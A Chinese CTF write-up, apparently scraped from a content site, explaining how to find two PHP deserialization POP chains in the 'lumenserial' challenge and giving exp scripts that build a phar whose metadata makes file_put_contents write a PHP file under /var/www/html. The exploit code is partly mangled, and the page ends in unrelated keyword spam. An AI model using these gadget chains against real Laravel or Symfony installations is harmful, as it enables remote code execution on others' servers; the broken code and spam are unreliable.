千家信息网

PHP反序列化中怎样寻找POP链

发表于:2026-11-03 作者:千家信息网编辑
千家信息网最后更新 2026年11月03日,本篇文章为大家展示了PHP反序列化中怎样寻找POP链,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。以 code-breaking 中 lumenserial
千家信息网最后更新 2026年11月03日PHP反序列化中怎样寻找POP链

本篇文章为大家展示了PHP反序列化中怎样寻找POP链,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

以 code-breaking 中 lumenserial 为例,练习PHP反序列化 POP链 的寻找。

POP链一

我们直接搜索 'function dispatch(' ,发现有一个 Dispatcher 类的 dispatchToQueue 方法中调用的 call_user_func 函数两个参数都可控,而且 dispatch 中调用了 dispatchToQueue 方法,代码如下:

从代码中我们可以看到,只要传入的 $command 变量是 ShouldQueue 类的实例即可。通过搜索,我们会发现 ShouldQueue 是一个接口,那么我们找到其实现类即可。直接搜索 'implements ShouldQueue' ,我们随便选取一个实现类即可,这里我选用 CallQueuedClosure 类,相关代码如下:

现在 call_user_func 函数的两个参数都可控,又变成了我们可以调用任意对象的任意方法了,这样我们有可以利用上篇文章中的方法,调用 ReturnCallback 类的 invoke 方法,并传入 StaticInvocation 类的对象作为参数,形成整个完整的 POP链 ,利用 exp 如下:

events = $events;            $this->event = $event;        }    }    class BroadcastEvent{        public $connection;        public function __construct($connection)        {            $this->connection = $connection;        }    }};namespace PHPUnit\Framework\MockObject\Stub{    class ReturnCallback    {        private $callback;        public function __construct($callback)        {            $this->callback = $callback;        }    }};namespace PHPUnit\Framework\MockObject\Invocation{    class StaticInvocation{        private $parameters;        public function __construct($parameters){            $this->parameters = $parameters;        }    }};namespace Illuminate\Bus{    class Dispatcher{        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }};namespace{    $function = 'file_put_contents';    $parameters = array('/var/www/html/11.php','');    $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);    $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation);    $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);    $dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke'));    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);    $o = $pendingbroadcast;    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行    file_exists($filename) ? unlink($filename) : null;    $phar=new Phar($filename);    $phar->startBuffering();    $phar->setStub("GIF89a");    $phar->setMetadata($o);    $phar->addFromString("foo.txt","bar");    $phar->stopBuffering();};?>

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

POP链二

接下来这个 POP链 思路是参考 这篇 文章,寻找 POP链 的思路还是从 dispatch 方法入手。在上篇文章中,我们发现第一个 RCE 走了 Generator 类的 __call 方法,这个方法作为 POP链 中的一部分极其好用,因为 call_user_func_array 方法中的两个参数完全可控。我们只要找到方法中存在形如 this->$object->$method($arg1,$arg2) ,且 $object 、 $method 、 $arg1 、 $arg2 四个参数均可控制,那么就可以利用这个 Generator 类的 __call 方法,最终调用 call_user_func_array('file_put_contents',array('1.php','xxx')) 。

我们继续搜索 dispatch ,会发现一个 TraceableEventDispatcher 类的 dispatch 方法,其代码如下:

我们发现其调用了 preProcess 方法,传入的 $eventName 变量是可控的,我们跟进该方法, 具体代码如下:

可以看到我们得让 $this->dispatcher->hasListeners($eventName) 返回 true ,否则返回的空值对我们无用。然后 第12行 的 getListeners 方法返回的值得是一个数组,这样我们才能进入 foreach 结构里。之所以要进到 foreach 结构里,是因为我们在 第16行 看到了 $this->dispatcher->removeListener($eventName, $listener) ,结构形如: this->$object->$method($arg1,$arg2) ,前三个参数可以按照如下构造:

this->$object =  new Faker\Generator();this->$object->$method = 'removeListener';arg1 = '/var/www/html/1.php';this->formatters['removeListener'] = 'file_put_contents';

这样子构造之后,执行到 $this->dispatcher->removeListener($eventName, $listener) 时,就会调用 Generator 类的 __call 方法,继而执行 call_user_func_array('file_put_contents',array('/var/www/html/upload/1.php',$listener)) ,所以我们只要再确保第四个参数 $listener 可控即可。

现在我们再回到上面 第6行 的 if 语句,我们需要先绕过这个判断条件。该代码会调用 Faker\Generator 类的 hasListeners 方法,进而触发 __call 方法,那么我们只要将 this->formatters['hasListeners'] 设置成 'strlen' 即可,之后就会调用 call_user_func_array('strlen','var/www/html') ,这样就可以绕过 if 语句。

j接着我们再回到 foreach 语句,继续搜索可利用的 getListeners 方法,看看是否可以返回一个可控数组(返回数组才能进入 foreach 语句)。通过搜索,我们会发现一个 Dispatcher 类的 getListeners 符合我们的要求,其具体代码如下:

此时 $eventName 是我们传入的 '/var/www/html/upload/1.php' ,很明显上面的代码中可以返回一个数组,而且数组的值完全可控。

刚才 foreach 中的 $this->dispatcher->getListeners() 调用的是 Faker\Generator 类的 getListeners 方法,现在我们要想办法让它调用 Dispatcher 类的 getListeners 方法。我们再看一下刚才 Generator 的调用流程图:

可以看到只要我们将 this->providers 设置为 array(Dispatcher类) 即可,之后的调用就类似于 call_user_func_array(array(Dispatcher类,'getListeners'),'/var/www/html/1.php') 。

现在基本完成了整个利用链,不过在执行到 $this->dispatcher->removeListener($eventName, $listener) 之前,还有一些额外的代码需要执行,我们要确保这些代码不会影响我们下面的方法,所以我们需要继续看 foreach 下面的代码(这里说的是 TraceableEventDispatcher 类 preProcess 方法中的 foreach )。

我们看到其调用了本类的 getListenerPriority 方法,具体代码如下:

我们看到 第16行 ,返回 $this->dispatcher->getListenerPriority($eventName, $listener) ,简直完美。我们可以不用执行到刚才的 removeListener 方法,直接到这里就可以完成整个 POP链 了。最终的利用 exp 如下:

listeners[$parameter['filename']] = array($parameter['contents']);        }    }};namespace Faker{    class Generator{        protected $providers;        protected $formatters;        public function __construct($providers,$formatters){            $this->providers = $providers;            $this->formatters = $formatters;        }    }};namespace Symfony\Component\EventDispatcher\Debug{    class TraceableEventDispatcher{        private $dispatcher;        public function __construct($dispatcher){            $this->dispatcher = $dispatcher;        }    }};namespace Illuminate\Broadcasting{    class PendingBroadcast{        protected $events;        protected $event;        public function __construct($events, $parameter){            $this->events = $events;            $this->event = $parameter['filename'];        }    }}namespace {    $function = 'file_put_contents';    $parameters = array('filename' => '/var/www/html/1.php','contents' => '');    $dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function);    $generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);    $traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);    $o = $pendingbroadcast;    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行    file_exists($filename) ? unlink($filename) : null;    $phar=new Phar($filename);    $phar->startBuffering();    $phar->setStub("GIF89asetMetadata($o);    $phar->addFromString("foo.txt","bar");    $phar->stopBuffering();}?>

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

上述内容就是PHP反序列化中怎样寻找POP链,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

方法 代码 参数 搜索 数组 语句 序列 两个 文章 结构 面的 内容 函数 变量 后缀 图片 对象 思路 技能 知识 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广州淘业互联网络科技 广东猪兼强互联网科技有限公司 西安纸贵互联网科技有限公司 金诺互联网科技 互联网与科技发展 互联网科技上市公司 亿账通互联网科技 广州凡科互联网科技 丰台科技园 互联网公司 四个字互联网科技公司取名 中盈科技互联网信息有限公司 湖北码尼互联网科技有限公司电话 华夏互联网科技业 互联网科技产业特征 广州百诚互联网科技有限公司官网 抖集互联网科技技术咨询 互联网企业和网络科技有限公司 伍佰万互联网科技是干嘛的 每日互联网科技新闻 科技发展第三阶段互联网时代 华服互联网科技靠谱吗 互联网金融监管科技数据 科技和互联网公司 科技赋能互联网健康 互联网科技和信息 燊美集互联网科技有限公司 互联网金融科技元年 国产互联网科技公司 上海万顺科技互联网有限公司招聘 互联网企业和网络科技有限公司
0